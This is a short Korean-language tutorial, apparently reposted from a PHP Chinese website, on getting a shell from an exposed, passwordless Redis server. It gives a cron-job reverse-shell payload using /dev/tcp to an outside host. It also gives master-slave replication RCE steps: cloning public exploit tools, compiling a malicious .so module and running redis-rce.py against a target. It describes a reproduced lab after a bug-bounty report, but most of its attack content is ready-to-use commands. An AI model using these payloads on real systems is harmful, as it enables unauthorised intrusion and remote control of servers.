일반적으로 인증 침투 테스트를 수행할 때 기존의 취약점 공격(예: 주입, 파일 업로드 등)을 시도했지만 정보를 얻을 수 없더라도 포트를 검색하면 예상치 못한 결과가 발생할 수 있습니다. .
간단히 말하면 Redis는 Key-Value 형식의 데이터베이스이며, Redis의 모든 데이터는 메모리에서 작동됩니다. 정기적으로 디스크의 메모리에 데이터를 저장하고 다양한 데이터 구조(문자열, 해시, 목록 등) 저장을 지원합니다.
Redis는 기본적으로 0.0.0.0:6379에 바인딩됩니다. 비밀번호 인증을 설정하지 않은 공용 네트워크에서는 모든 사용자가 인증 없이 Redis에 액세스하여 Redis 데이터를 읽고 원격 연결을 위한 공개 키를 쓸 수 있습니다.
우리의 목표는 단지 getshell 뿐입니다!
현재 두 가지 주류 방법이 더 있습니다. 첫 번째는 정기적으로 리바운드 쉘을 예약하는 것이고, 두 번째는 마스터-슬레이브 복제 rce를 사용하는 것입니다.
1) set x "n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1n"
2) config set dir /var/spool/cron/
3) config set dbfilename root
4) save
를 사용하면 버전 4.x 및 5.x에 취약점이 존재합니다. Redis 마스터-슬레이브 모드는 하나의 Redis를 호스트로 사용하고 다른 하나를 백업 시스템으로 사용하는 것을 의미합니다. 호스트와 슬레이브 데이터는 동일합니다. 슬레이브는 읽기만 담당하고 호스트는 쓰기만 담당합니다. Reids 4.x 이후에는 외부 확장을 통해 redis에서 새로운 Redis 명령을 구현하고 악성 .so 파일을 구성하는 것이 가능합니다. 두 개의 Redis 인스턴스가 마스터-슬레이브 모드로 설정되면 Redis 호스트 인스턴스는 FULLRESYNC를 통해 파일을 슬레이브 시스템에 동기화할 수 있습니다. 그런 다음 슬레이브 시스템에 악성 so 파일을 로드하여 명령을 실행합니다.
도구를 사용해야 합니다. GitHub에서 다운로드하면 됩니다.
1) git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (make 필요)
2) git clone https://github.com/Ridter/redis-rce.git
그런 다음 pass Redis에 연결하기 위한 무단 액세스가 있거나 비밀번호가 취약한 경우 스크립트를 실행하여 셸을 얻을 수 있습니다.
이번에는 Redis인 6379를 스캔했습니다. 가끔 기본 포트가 변경될 수 있으므로 이번에는 전체 포트를 사용하는 것이 좋습니다. master-slave copy rce로 쉘을 획득합니다. (이 취약점은 src에 제출되었으며 기밀 유지 계약이 체결되었기 때문에 대상 머신은 실제 환경을 복원하고 신뢰성을 보장하도록 구축되었습니다.)
공격자 IP: 192.168.109.134
서버 IP: 192.168.109.136
연결 redis에 액세스합니다(비밀번호가 있는 경우 authpassword로 시스템에 로그인할 수 있습니다): Redis-cli –h ip
마스터-슬레이브 복사본 rce를 사용하여 쉘을 얻습니다
먼저 악성 .so 파일을 생성하고 RedisModules-ExecuteCommand를 다운로드한 후 make를 사용하여 컴파일하여 생성할 수 있습니다.
공격 측 실행:
python redis-rce.py -r target ip -p target port -L local ip -f 악성.so
성공적으로 쉘을 획득했습니다
위 내용은 Redis+Getshell 분석 예시의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!